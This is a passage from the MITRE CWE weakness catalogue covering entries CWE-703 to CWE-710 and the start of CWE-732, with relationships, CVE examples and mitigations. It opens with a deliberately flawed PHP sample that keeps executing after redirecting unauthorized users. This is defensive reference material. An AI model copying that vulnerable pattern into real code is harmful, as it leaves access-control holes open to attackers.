*(Bad)*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
    echo "You are not authorized to view this page";
    http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling `http_redirect()`. This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

## Observed Examples

Reference	Description
<b>CVE-2013-1402</b>	Execution-after-redirect allows access to application configuration details. <a href="https://www.cve.org/CVERecord?id=CVE-2013-1402">https://www.cve.org/CVERecord?id=CVE-2013-1402</a>
<b>CVE-2009-1936</b>	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1936">https://www.cve.org/CVERecord?id=CVE-2009-1936</a>



Reference	Description
<b>CVE-2007-2713</b>	Remote attackers can obtain access to administrator functionality through EAR. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2713">https://www.cve.org/CVERecord?id=CVE-2007-2713</a>
<b>CVE-2007-4932</b>	Remote attackers can obtain access to administrator functionality through EAR. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4932">https://www.cve.org/CVERecord?id=CVE-2007-4932</a>
<b>CVE-2007-5578</b>	Bypass of authentication step through EAR. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5578">https://www.cve.org/CVERecord?id=CVE-2007-5578</a>
<b>CVE-2007-2713</b>	Chain: Execution after redirect triggers eval injection. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2713">https://www.cve.org/CVERecord?id=CVE-2007-2713</a>
<b>CVE-2007-6652</b>	chain: execution after redirect allows non-administrator to perform static code injection. <a href="https://www.cve.org/CVERecord?id=CVE-2007-6652">https://www.cve.org/CVERecord?id=CVE-2007-6652</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	977	SFP Secondary Cluster: Design	888	2200

### References

[REF-565]Adam Doupé, Bryce Boe, Christopher Kruegel and Giovanni Vigna. "Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities". < <http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf> >.

## CWE-703: Improper Check or Handling of Exceptional Conditions

**Weakness ID** : 703

**Structure** : Simple

**Abstraction** : Pillar

### Description

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	B	166	Improper Handling of Missing Special Element	406
ParentOf	B	167	Improper Handling of Additional Special Element	408
ParentOf	B	168	Improper Handling of Inconsistent Special Elements	409
ParentOf	G	228	Improper Handling of Syntactically Invalid Structure	540
ParentOf	B	248	Uncaught Exception	566
ParentOf	V	333	Improper Handling of Insufficient Entropy in TRNG	783

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	392	Missing Report of Error Condition	901
ParentOf	<b>B</b>	393	Return of Wrong Status Code	903
ParentOf	<b>B</b>	397	Declaration of Throws for Generic Exception	910
ParentOf	<b>C</b>	754	Improper Check for Unusual or Exceptional Conditions	1460
ParentOf	<b>C</b>	755	Improper Handling of Exceptional Conditions	1468
ParentOf	<b>C</b>	1384	Improper Handling of Physical or Environmental Conditions	2078

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1012	Cross Cutting	2220

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	248	Uncaught Exception	566
ParentOf	<b>B</b>	391	Unchecked Error Condition	898
ParentOf	<b>B</b>	392	Missing Report of Error Condition	901

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	248	Uncaught Exception	566
ParentOf	<b>B</b>	391	Unchecked Error Condition	898
ParentOf	<b>B</b>	392	Missing Report of Error Condition	901

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Availability	DoS: Crash, Exit, or Restart	
Integrity	Unexpected State	

### Detection Methods

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fault Injection - source code Fault Injection - binary Cost effective for partial coverage: Forced Path Execution

*Effectiveness = High*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

## Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

*Effectiveness = High*

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2241
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

## Notes

### Relationship

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR06-J		Do not throw undeclared checked exceptions

## References

- [REF-567]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < <http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf> >.
- [REF-568]Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995 August 1. < <http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF> >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-704: Incorrect Type Conversion or Cast

**Weakness ID** : 704  
**Structure** : Simple  
**Abstraction** : Class

## Description

The product does not correctly convert an object, resource, or structure from one type to a different type.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	V	588	Attempt to Access Child of a Non-structure Pointer	1246
ParentOf	B	681	Incorrect Conversion between Numeric Types	1400
ParentOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1654
ParentOf	B	1389	Incorrect Parsing of Numbers with Different Radices	2084

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	681	Incorrect Conversion between Numeric Types	1400
ParentOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1654

## Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Language** : Not Language-Specific (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Other	Other	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2135
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2169
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2251
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP05-C		Do not cast away a const qualification
CERT C Secure Coding	EXP39-C	CWE More Abstract	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT36-C	CWE More Abstract	Converting a pointer to integer or integer to pointer
CERT C Secure Coding	STR34-C	CWE More Abstract	Cast characters to unsigned types before converting to larger integer sizes
CERT C Secure Coding	STR37-C	CWE More Abstract	Arguments to character handling functions must be representable as an unsigned char
Software Fault Patterns	SFP1		Glitch in computation
OMG ASCRM	ASCRM-CWE-704		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-705: Incorrect Control Flow Scoping

**Weakness ID** : 705

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
ParentOf	B	248	Uncaught Exception	566
ParentOf	V	382	J2EE Bad Practices: Use of System.exit()	883

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	906
ParentOf	<b>B</b>	396	Declaration of Catch for Generic Exception	908
ParentOf	<b>B</b>	397	Declaration of Throws for Generic Exception	910
ParentOf	<b>B</b>	455	Non-exit on Failed Initialization	1028
ParentOf	<b>B</b>	584	Return Inside Finally Block	1240
ParentOf	<b>B</b>	698	Execution After Redirect (EAR)	1431

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic Other	

### Observed Examples

Reference	Description
<b>CVE-2014-1266</b>	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). <a href="https://www.cve.org/CVERecord?id=CVE-2014-1266">https://www.cve.org/CVERecord?id=CVE-2014-1266</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2142
MemberOf	<b>C</b>	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2143
MemberOf	<b>C</b>	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf	<b>C</b>	854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	844	2160
MemberOf	<b>C</b>	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2172
MemberOf	<b>C</b>	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200
MemberOf	<b>C</b>	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2241
MemberOf	<b>C</b>	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf	<b>C</b>	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	2253
MemberOf	<b>C</b>	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259

### Taxonomy Mappings



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ENV32-C	CWE More Abstract	All exit handlers must return normally
CERT C Secure Coding	ERR04-C		Choose an appropriate termination strategy
The CERT Oracle Secure Coding Standard for Java (2011)	THI05-J		Do not use Thread.stop() to terminate threads
The CERT Oracle Secure Coding Standard for Java (2011)	ERR04-J		Do not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions

## CWE-706: Use of Incorrectly-Resolved Name or Reference

**Weakness ID** : 706

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf	B	41	Improper Resolution of Path Equivalence	83
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	108
ParentOf	B	66	Improper Handling of File Names that Identify Virtual Resources	121
ParentOf	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	229
ParentOf	B	178	Improper Handling of Case Sensitivity	427
ParentOf	B	386	Symbolic Name not Mapping to Correct Object	892
ParentOf	V	827	Improper Control of Document Type Definition	1616
PeerOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	235
PeerOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	235



*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf	<b>B</b>	59	Improper Link Resolution Before File Access ('Link Following')	108
ParentOf	<b>B</b>	178	Improper Handling of Case Sensitivity	427

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	2184
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
48	Passing Local Filenames to Functions That Expect a URL
159	Redirect Access to Libraries
177	Create files with the same name as files protected with a higher classification
641	DLL Side-Loading

## CWE-707: Improper Neutralization

**Weakness ID** : 707

**Structure** : Simple

**Abstraction** : Pillar

### Description

The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.

### Extended Description

If a message is malformed, it may cause the message to be incorrectly interpreted.

Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe." This can be done by:

- checking that the input/output is already "safe" (e.g. validation)
- transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization
- preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)
- preventing the input/output from being processed at all

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	C	20	Improper Input Validation	19
ParentOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf	C	116	Improper Encoding or Escaping of Output	272
ParentOf	C	138	Improper Neutralization of Special Elements	357
ParentOf	B	170	Improper Null Termination	411
ParentOf	C	172	Encoding Error	415
ParentOf	C	228	Improper Handling of Syntactically Invalid Structure	540
ParentOf	B	240	Improper Handling of Inconsistent Structural Elements	555
ParentOf	B	463	Deletion of Data Structure Sentinel	1045

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2227

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Other	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Notes

### Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
7	Blind SQL Injection
43	Exploiting Multiple Input Interpretation Layers
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
83	XPath Injection
84	XQuery Injection
250	XML Injection
276	Inter-component Protocol Manipulation
277	Data Interchange Protocol Manipulation
278	Web Services Protocol Manipulation
279	SOAP Manipulation
468	Generic Cross-Browser Cross-Domain Theft

## CWE-708: Incorrect Ownership Assignment

**Weakness ID** : 708**Structure** : Simple**Abstraction** : Base

### Description

The product assigns an owner to a resource, but the owner is outside of the intended control sphere.

### Extended Description

This may allow the resource to be manipulated by actors outside of the intended control sphere.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		282	Improper Ownership Management	641
CanAlsoBe		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	840	Business Logic Errors	2153

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	
<i>An attacker could read and modify data for which they do not have permissions to access directly.</i>		

### Potential Mitigations

#### Phase: Policy

Periodically review the privileges and their owners.

#### Phase: Testing

Use automated tools to check for privilege settings.

### Observed Examples

Reference	Description
<b>CVE-2007-5101</b>	File system sets wrong ownership and group when creating a new file. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5101">https://www.cve.org/CVERecord?id=CVE-2007-5101</a>
<b>CVE-2007-4238</b>	OS installs program with bin owner/group, allowing modification. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4238">https://www.cve.org/CVERecord?id=CVE-2007-4238</a>
<b>CVE-2007-1716</b>	Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1716">https://www.cve.org/CVERecord?id=CVE-2007-1716</a>
<b>CVE-2005-3148</b>	Backup software restores symbolic links with incorrect uid/gid. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3148">https://www.cve.org/CVERecord?id=CVE-2005-3148</a>
<b>CVE-2005-1064</b>	Product changes the ownership of files that a symlink points to, instead of the symlink itself. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1064">https://www.cve.org/CVERecord?id=CVE-2005-1064</a>
<b>CVE-2011-1551</b>	Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations. <a href="https://www.cve.org/CVERecord?id=CVE-2011-1551">https://www.cve.org/CVERecord?id=CVE-2011-1551</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	944	SFP Secondary Cluster: Access Management	888	2186

### Notes

#### Maintenance

This overlaps verification errors, permissions, and privileges. A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

## CWE-710: Improper Adherence to Coding Standards

**Weakness ID** : 710

**Structure** : Simple

**Abstraction** : Pillar

### Description

The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	B	476	NULL Pointer Dereference	1070
ParentOf	B	477	Use of Obsolete Function	1076
ParentOf	B	484	Omitted Break Statement in Switch	1097
ParentOf	B	489	Active Debug Code	1106
ParentOf	B	570	Expression is Always False	1216
ParentOf	B	571	Expression is Always True	1219
ParentOf	C	573	Improper Following of Specification by Caller	1222
ParentOf	V	594	J2EE Framework: Saving Unserializable Objects to Disk	1254
ParentOf	C	657	Violation of Secure Design Principles	1361
ParentOf	C	684	Incorrect Provision of Specified Functionality	1410
ParentOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472
ParentOf	B	1041	Use of Redundant Code	1740
ParentOf	B	1044	Architecture with Number of Horizontal Layers Outside of Expected Range	1744
ParentOf	B	1048	Invokable Control Element with Large Number of Outward Calls	1748
ParentOf	C	1059	Insufficient Technical Documentation	1759
ParentOf	C	1061	Insufficient Encapsulation	1762
ParentOf	B	1065	Runtime Resource Management Control Element in a Component Built to Run on Application Servers	1766
ParentOf	B	1066	Missing Serialization Control Element	1767
ParentOf	B	1068	Inconsistency Between Implementation and Documented Design	1769
ParentOf	B	1070	Serializable Data Element Containing non-Serializable Item Elements	1772
ParentOf	C	1076	Insufficient Adherence to Expected Conventions	1778
ParentOf	B	1092	Use of Same Invokable Control Element in Multiple Architectural Layers	1793
ParentOf	C	1093	Excessively Complex Data Representation	1793
ParentOf	B	1101	Reliance on Runtime Component in Generated Code	1801
ParentOf	C	1120	Excessive Code Complexity	1817
ParentOf	B	1126	Declaration of Variable with Unnecessarily Wide Scope	1822
ParentOf	B	1127	Compilation with Insufficient Warnings or Errors	1823
ParentOf	C	1164	Irrelevant Code	1823

Nature	Type	ID	Name	Page
ParentOf		1177	Use of Prohibited Code	1827
ParentOf		1209	Failure to Disable Reserved Bits	1841
ParentOf		1357	Reliance on Insufficiently Trustworthy Component	2076

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Potential Mitigations

#### Phase: Implementation

Document and closely follow coding standards.

#### Phase: Testing

#### Phase: Implementation

Where possible, use automated tools to enforce the standards.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		978	SFP Secondary Cluster: Implementation	888	2201
MemberOf		1383	ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements	1358	2308

## CWE-732: Incorrect Permission Assignment for Critical Resource

**Weakness ID** : 732

**Structure** : Simple

**Abstraction** : Class

### Description

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.









### Extended Description

When a resource is given a permission setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data. For example, consider storage accounts for the cloud that allow or can be overwritten to provide public (i.e., anonymous) access.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ChildOf		285	Improper Authorization	649
ParentOf		276	Incorrect Default Permissions	630
ParentOf		277	Insecure Inherited Permissions	634
ParentOf		278	Insecure Preserved Inherited Permissions	635
ParentOf		279	Incorrect Execution-Assigned Permissions	636
ParentOf		281	Improper Preservation of Permissions	640
ParentOf		1004	Sensitive Cookie Without 'HttpOnly' Flag	1721

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		276	Incorrect Default Permissions	630
ParentOf		281	Improper Preservation of Permissions	640

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Often*)

**Likelihood Of Exploit**

High

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.</i>	
Access Control	Gain Privileges or Assume Identity  <i>An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.</i>	
Integrity Other	Modify Application Data Other  <i>An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.</i>	

**Detection Methods****Automated Static Analysis**

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values. However, since the



software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

### Automated Dynamic Analysis

